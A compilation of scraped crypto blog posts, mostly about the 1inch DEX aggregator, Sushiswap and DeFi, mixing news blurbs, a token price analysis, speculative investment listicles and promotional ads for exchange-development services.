while Sushiswap focuses on community ownership, yield farming, and innovative offerings. Both platforms contribute to the growth and advancement of decentralized finance, catering to the diverse needs and preferences of users in this dynamic and exciting ecosystem. FAQs What is the main difference between 1inch and Sushiswap? The main difference lies in their core functionalities and focus. 1inch is a DEX aggregator that searches for the best trading rates across multiple decentralized exchanges, while Sushiswap is a community-owned decentralized exchange (DEX) with a strong emphasis on yield farming and liquidity provision. How do their governance models differ? 1inch and Sushiswap have different governance models. 1inch allows token holders to participate in the decision-making process regarding protocol upgrades and fee distribution. On the other hand, Sushiswap gives voting rights to token holders, enabling them to shape the platform's development and decision-making. Which platform offers more incentives for users? Both platforms offer incentives, but they differ in their approaches. 1inch provides liquidity mining rewards, allowing users to earn additional tokens by staking their tokens in the platform's liquidity pools. Sushiswap, on the other hand, rewards liquidity providers with its native token, SUSHI, in addition to a share of the trading fees generated. Are there any additional features that set them apart? Yes, there are additional features that distinguish the two platforms. 1inch offers a liquidity protocol, enabling users to earn rewards through yield farming. It also incorporates a pathfinder routing algorithm for efficient trading. Sushiswap introduced BentoBox, a lending and borrowing platform within its ecosystem, which enhances the platform's utility and provides additional opportunities for users to generate passive income. Which platform has a more user-friendly interface? Both platforms strive to provide a user-friendly experience. 1inch prides itself on its intuitive design, making DeFi trading accessible to both novice and experienced users. Sushiswap also offers a clean and simple interface, enabling users to easily connect their wallets and engage in token swaps directly from the platform. What about security measures? Both 1inch and Sushiswap prioritize the security of user funds and data. 1inch has implemented measures such as multiple security audits and the "Protect" function, allowing users to specify a maximum slippage tolerance for their trades. Sushiswap has also undergone security audits, implemented timelocks and multisig wallets, and maintains a bug bounty program to encourage the discovery of vulnerabilities. How do they engage with their communities? Both platforms foster community engagement, but in different ways. 1inch actively involves its community through events, webinars, and educational initiatives, seeking feedback to enhance its features. Sushiswap has a vibrant community and supports community-led initiatives through its treasury, enabling the funding of proposals from community members. Read More: - Sushiswap vs Uniswap - Best Decentralized Exchanges (DEXs) - Solana vs Ethereum - Wax Blockchain vs Ethereum - Litecoin (LTC) vs Ethereum (ETH) Read the full article

[qocsuing]

What Is the Next Cryptocurrency to Explode in 2023?

What Is the Next Cryptocurrency to Explode in 2023?

The most exciting thing about cryptocurrency investments is that, when they explode, they skyrocket in value. In 2021, we saw Solana (SOL 2.0%) increase by more than 10,000%. Meme token Shiba Inu (SHIB 1.26%) shot up more than 40,000,000%.To get more news about crypto projects, you can visit wikifx.com official website.

Decentralized finance (DeFi) was huge in 2021 as many crypto enthusiasts used DEXs to trade cryptocurrencies. 1inch is a simple way to get the most for your crypto when using DEXs. It instantly compares prices on hundreds of different platforms to find the best rate for you.

Although the aggregation protocol is extremely useful, it's not all that 1inch offers. Other 1inch products include a limit-order protocol that lets you set specific trade conditions and 1inch Earn, a program to earn interest by depositing crypto to liquidity pools.

2. Ethereum At first glance, Ethereum (ETH 4.8%) might seem out of place here. It's far from under the radar. It has been the second-largest cryptocurrency for years, so most crypto investors know about it, and many already own some.

While we're probably past the point where Ethereum shoots up by 10,000%, it still has serious growth potential. It was the first blockchain to offer smart contracts, which developers can use to build decentralized apps (dApps). Ethereum’s first-mover advantage has given it a sizable lead over similar competitors.

Ethereum went through its long-awaited Merge to a proof-of-stake system in September 2022, significantly improving its energy efficiency. The upgrade could be a key factor that helps increase Ethereum's value and attracts more investors.

3. Aave Aave (AAVE 1.53%) is one of the most popular and user-friendly lending protocols. Users can borrow and lend many different types of cryptocurrency. If you deposit your cryptocurrency to Aave, you'll receive interest payments for lending your funds.

Its unique features have helped Aave outdo other crypto lending protocols. Borrowers can switch from fixed to variable interest rates and vice versa. Aave is also known for its FlashLoans, which are loans that don't require collateral. They do, however, need to be repaid in the same transaction.

Aave is a governance token, which means holders can vote on the future of the protocol. They also get fee discounts when using Aave's services. 4. SushiSwap Automated market makers (AMMs), which are decentralized exchanges that run on smart contracts, grew quite a bit in 2021. Although there are many AMMs out there, SushiSwap (SUSHI 1.47%) could be the one most poised for a big run.

SushiSwap supports more than a dozen different blockchains, which allows it to offer some of the most competitive rates. It's also one of the top options for staking crypto. It offers a huge variety of liquidity pools and makes it easy to see the annual percentage yield you can earn with each one.

[mubashirnews]

1inch releases Fusion, improves its Swap Engine

1inch releases Fusion, improves its Swap Engine

1inch Network, a top decentralized exchange (DEX) aggregator, is introducing Fusion, a substantial improvement to its Swap Engine. The goal of this upgrade is to provide DeFi users with cheap, secure, and profitable swaps. What does the update bring? Users may place orders with a defined price and time window without paying network fees thanks to One-inch Swap Engine’s Fusion program. The patch…

[rnewspost]

1inch releases Fusion, improves its Swap Engine

1inch releases Fusion, improves its Swap Engine

1inch Network, a top decentralized exchange (DEX) aggregator, is introducing Fusion, a substantial improvement to its Swap Engine. The goal of this upgrade is to provide DeFi users with cheap, secure, and profitable swaps. What does the update bring? Users may place orders with a defined price and time window without paying network fees thanks to One-inch Swap Engine’s Fusion program. The patch…

[kavinsps]

Launch Your Staking Platform in Days

Decentralized Finance (or DeFi) is a technological movement that aims to replace traditional financial systems by moving the flow of money from centralized entities (i.e. banks) to decentralized P2P networks, and using smart contracts to execute code based on conditions. default.

defi staking platform development DeFi technology offers services such as cryptocurrency trading, lending, borrowing, tokenized stock trading, yield farming , liquidity mining, prediction markets, etc. The DeFi market skyrocketed 400% in one year, and DeFi tools like MetaMask amassed over 10 million downloads. .

When did DeFi start? Following the ICO mania of 2017, the broader cryptocurrency market may have entered a prolonged bear market, but the prominence of 2017 garnered mainstream attention. Investors, developers, traders and other professionals poured into the sector as remnants of ICO bubble capital were used as fuel for technological innovation along with increased venture capital investment. Much of that effort and capital has manifested in decentralized finance (DeFi).

How did DeFi start? applications ( DApps ) on top of existing blockchain infrastructure. .

defi staking platform services These applications have the potential to replace traditional banking by giving each user full control of their money and allowing completely trust-free trading. DeFi removes the need for a middleman like a bank and users can trade with each other using P2P technology.

Ethereum was the first cryptocurrency that allowed other users to build coins on top of the blockchain under the ERC-20 standard . Any developer with basic coding knowledge could deploy an ERC-20 token and build their own crypto.

How to use DeFi What can DeFi do for you? DeFi platforms include everything from decentralized exchanges (DEXs like Uniswap ) to synthetic assets (eg Synthetix), liquidity pools, insurance products (eg Opyn), payments, lending protocols (eg Compound), stablecoins , and more. These platforms work similar to existing financial services, but in most cases they replace the institution (like an exchange) with a series of smart contracts that operate on a network like Ethereum.

Decentralized Exchange (DEX): Users can trade ERC-20 and other Layer 2 tokens for profit. Decentralized exchanges ( DEXs ) work similarly to centralized exchanges in that users can buy and sell crypto, sometimes even with limit orders. These exchanges work on the principle of “trading” one coin for another, for example, trading Vlaunch (VPAD) > Ethereum and vice versa. Lending: DeFi is comparable to traditional finance because it offers similar features as lending/lending. Users can lend on DeFi exchanges by depositing collateral. Lenders can make money by charging interest on your crypto assets. Stablecoins: Traders can convert their tokens into stablecoins pegged to fiat currencies like USDT , USDC, DAI, and more. Similar to how traders can cash in volatile cryptocurrencies like ETH, they can use stablecoins in decentralized wallets. Yield Farming: An investor can charge commissions for trading on decentralized exchanges by making their cryptocurrencies available for trading. If a person has both ETH and Shiba Inu ( SHIB ), he can deposit them as a SHIB / ETH LP token and earn % commission for each trade on the platform. Wrapped Cryptocurrencies: Users can “wrap” other cryptocurrencies that do not run on the Ethereum blockchain, such as Bitcoin — wBTC being the most popular. Staking : Users can stake their DeFi coins to earn a certain APY (Annual Percentage Yield). In most currencies, the annual APY% could exceed that of traditional financial institutions by a significant margin. Aggregation: Users can take advantage of a DeFi app like 1Inch that aggregates decentralized exchanges and get lower fees depending on the state of the network and liquidity on the different exchanges. 7 Advantages of DeFi DeFi has numerous advantages over traditional financing. It covers the following features

Global: The scope of DeFi is truly limitless. Anyone can use DeFi services from anywhere in the world without restrictions. Private: DeFi wallets are private. To use a popular wallet like MetaMask , the user only needs to remember their recovery phrase. They do not need an email, an identity document, a passport, proof of address or any sensitive information. Keys: DeFi users are in full control of their crypto keys, and the only way to trade most popular DeFi apps is to have a decentralized wallet. Users own 100% of their cryptocurrencies in DeFi. Using block explorers , users can view their past trades and those of other people. However, these data are not linked to the identity of the person, only to their crypto address. Fast — DeFi transactions are fast with the average exchange on decentralized exchanges taking 5–10 seconds to confirm transactions. Open Source: DeFi is built on top of open source software protocols such as Ethereum ( ETH ), Uniswap ( UNI ), and MetaMask. Open source licenses spawn thousands of different dApps.

[primorcoin]

New Post has been published on https://primorcoin.com/industry-execs-voice-confidence-in-defi-adoption-despite-security-flaws/

Industry execs voice confidence in DeFi adoption despite security flaws

With decentralized finance (DeFi) being a hub for various hacks and exploits, some may feel discouraged or wary of entering the space. However, professionals within the crypto space are confident that DeFi will have broader adoption in the future. 

From educating institutional investors to eliminating user experience barriers for retail investors, Web3 executives shared their thoughts on how broader DeFi adoption can be achieved.

Speaking to Cointelegraph, Anton Bukov, the co-founder of 1inch Network, believes that recent events in centralized finance (CeFi) have highlighted the importance of DeFi. The executive believes it’s just “a matter of time” before the financial system switches to Web3 solutions. In terms of institutional DeFi adoption, Bukov noted that it’s essential to have a deep understanding. He explained that:

“The key to DeFi adoption among institutional investors is a deep understanding of transparency benefits, trustless approach and self-custodian technologies.”

The executive also gave advice to DeFi projects in terms of security issues. According to Bukov, performing security audits is of utmost importance. “My advice to any DeFi project is simple – don’t be lazy to do several security audits before releasing any update, this will save you a ton of nerves and highly likely – users’ funds,” he said.

Dmitry Tolok, the co-founder of Primex Finance, also commented on the topic of DeFi security. According to Tolok, more insurance protocols may help push the adoption for DeFi. He explained that:

“More insurance protocols are also needed to mitigate concerns related to potential hacks. The growth of such protocols would lead to the organic development and growth of DeFi.”

Tolok also told Cointelegraph that a more mature market with more mechanisms that deal with vulnerabilities will eventually lead to more investor confidence. 

Related: A year after Taproot, Bitcoin community works to unlock its DeFi potential

Meanwhile, BNB Chain executive Alvin Kan highlighted the importance of education to spark broader DeFi adoption. Kan told Cointelegraph that there needs to be more education for users. He explained that:

“Given the permissionless and digital nature of DeFi, risks will always be present, and users need to understand how to do their own due diligence to minimize the risk they’re taking on.”

Jay Sullivan, the founder of XSwap Protocol, also echoed the same sentiment. Sullivan agrees that education is vital for keeping the space safe. Sullivan highlighted the importance of “teaching investors how to keep their funds safe.” Apart from storage, the executive believes that it’s also important to teach investors “what to look for” when looking to invest.

Apart from education, the executive also pointed out how regulation will play a role in broader DeFi adoption. “With the collapse of several centralized exchanges this year, investors have seen the importance of DeFi. However, for institutional investors to enter, we need to see the industry evolve,” he added.

Zachary Vann, a World Mobile executive, highlighted the importance of enhancing user experience. According to Vann, navigating DeFi can be challenging and overwhelming to newbies. “Once the user experience is improved and the barrier to entry reduced it should help exponentially the amount of retail coming into DeFi,” he said.

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[thesecrettimes]

MAGIC token soars on positive news. Buyers must break key levels to enjoy more gains

The magic token has doubled in price in the past week The cryptocurrency has been boosted by potential listing by Coinbase MAGIC is under correction as the cryptocurrency approaches the $0.7 resistance Ever heard of the Magic (MAGIC/USD) token? With a market cap of $103.31 million, the cryptocurrency is among the lowly ranked at #230. However, buyers are camping for this minor token on positive cryptocurrency news. As of press time, the cryptocurrency was up 10%, but it has more than doubled in price since the start of the month. The gains in MAGIC happened after US crypto exchange Coinbase said that the cryptocurrency was on its listing roadmap. Other tokens on the Coinbase listing target are Rocket Pool (RPL) and Aragon (ANT). But what is MAGIC? MAGIC is the native token of Treasure DAO, a project seeking to become a decentralised video game console. The DAO targets games and non-fungible tokens. Among the DAO’s infrastructure is an NFT marketplace Trover and gaming platform Bridgeworld.

MAGIC corrects slightly below the resistance of $0.7

MAGIC/USD Chart by TradingView A technical outlook shows MAGIC facing resistance as the cryptocurrency approached a key resistance at $0.7. The momentum is still bullish, although MAGIC is overbought, with an RSI reading of $75. The 20-day moving average is shifting above the 50-day MA, in line with the bullish momentum. Both moving averages offer MAGIC support.

These key levels will be important to bulls

$0.51 – This is the immediate support level for the cryptocurrency. The level has been tested and holds ground even as MAGIC corrects. If bulls defend this level, it will allow them to push higher and initiate a breakout at $0.70. The level is needed to hold for MAGIC to have a chance for further gains. $0.30 – This is the established support for the cryptocurrency. Although lying deep below, it could be hit if $0.51 fails to hold. That could push MAGIC back into consolidation and potentially wipe out the gains already made.

Where to buy MAGIC

As MAGIC is such a new asset, it's yet to be listed on major exchanges. You can still purchase MAGIC using a DEX (decentralised exchange) though, which just means there are a few extra steps. To buy MAGIC right now, follow these steps: 1. Buy ETH on a regulated exchange or broker, like eToro › We suggest eToro because it's one of the world's leading multi-asset trading platforms, an exchange and wallet all-in-one with some of the lowest fees in the industry. It's also beginner-friendly, and has more payment methods available to users than any other available service. 2. Send your ETH to a compatible wallet like Trust Wallet or MetaMask You'll need to create your wallet, grab your address, and send your coins there. 3. Connect your wallet to the 1Inch DEX Head to 1Inch, and 'connect' your wallet to it. 4. You can now swap your ETH for MAGIC Now that you're connected, you'll be able to swap for 100s of coins including MAGIC. The post MAGIC token soars on positive news. Buyers must break key levels to enjoy more gains appeared first on CoinJournal. Read the full article

[mycryptoposts]

1inch looks for to enhance gas expenses with its brand-new v5 router #cryptoposts #crypto #usa #business #money #success #cryptomarket #money #bitcoin #forex #investment #millionaire #wealth #invest #trading #cryptocurrency #investing #finance #forextrader #financialfreedom #crypto #investor #blockchain

[nigeriabitcoincommunity]

1Inch Exchange Review - How To Use The Best DEX Aggregator

1Inch Exchange Review - How To Use The Best DEX Aggregator - trade on the best DeFi protocols on #Ethereum, #BNBChain, #Avalanche, #Polygon, #OΞ, #Arbitrum, #Gnosis, #Fantom and #Klaytn - buy crypto at the best market rates - enjoy gas refund @1inch

Today’s post is a detailed review of 1inch, one of the top decentralized exchanges. 1inch exchange allows you to trade many cryptocurrencies across multiple bridges. Not only that, you will trade these cryptocurrencies at the best market rates. Sounds interesting, right? Keep reading this article to learn more about 1inch and how to profit from it. Post Summary What Is 1inch Exchange?1inch…

[bitcoin-talk]

A DEX platform that is desirable in today’s time

A Decentralized exchange (DEX) as the name suggests is a platform with no third party or intermediate involved to manage the crypto selling, buying, or trading on the exchange platform. There is no requirement for a middleman to manage the order books, smart contracts handle the process instead.

Currently, there are different types of decentralized platforms available in the market such as UniSwap, Pancakeswap, Sushiswap, and many others. All of these platforms have been built uniquely with their own features. The cost of transactions may differ on all of the DEX platforms. What helps in finding the most economical place is 1inch.

How does 1inch work? Just suppose that a user wants to purchase Wrapped Bitcoin on a decentralized platform. Certainly, different decentralized platforms offer different prices. Here is when the 1inch algorithm comes to play, it helps in finding the most economical way of making the trade.

Here are some of the amazing benefits of 1inch: Liquidity pools: The users are enabled to gain profit by managing or developing liquidity pools. They add up to the liquidity pool that is used for different exchange operations.

Farming: The users making a contribution in liquidity pools are privileged with the governance tokens. Farming programs on the platform enhance the governance procedures.

Governance: The 1inch token holders get special rights on the 1inch protocol. The token holders are privileged to be a member, vote for several decisions, and get other rights.

1inch is currently one of the big names when it comes to a decentralized platform. It is offering the users several features and advantages that are useful and are not being offered on other platforms. If you want to launch your own decentralized exchange like 1inch, you can explore Zeligz web store’s expert services. Their professionalism and expert methodology can help you launch an ideal platform in the market. Not only does their software is embedded with superior features but they offer complete support for launching it in the market.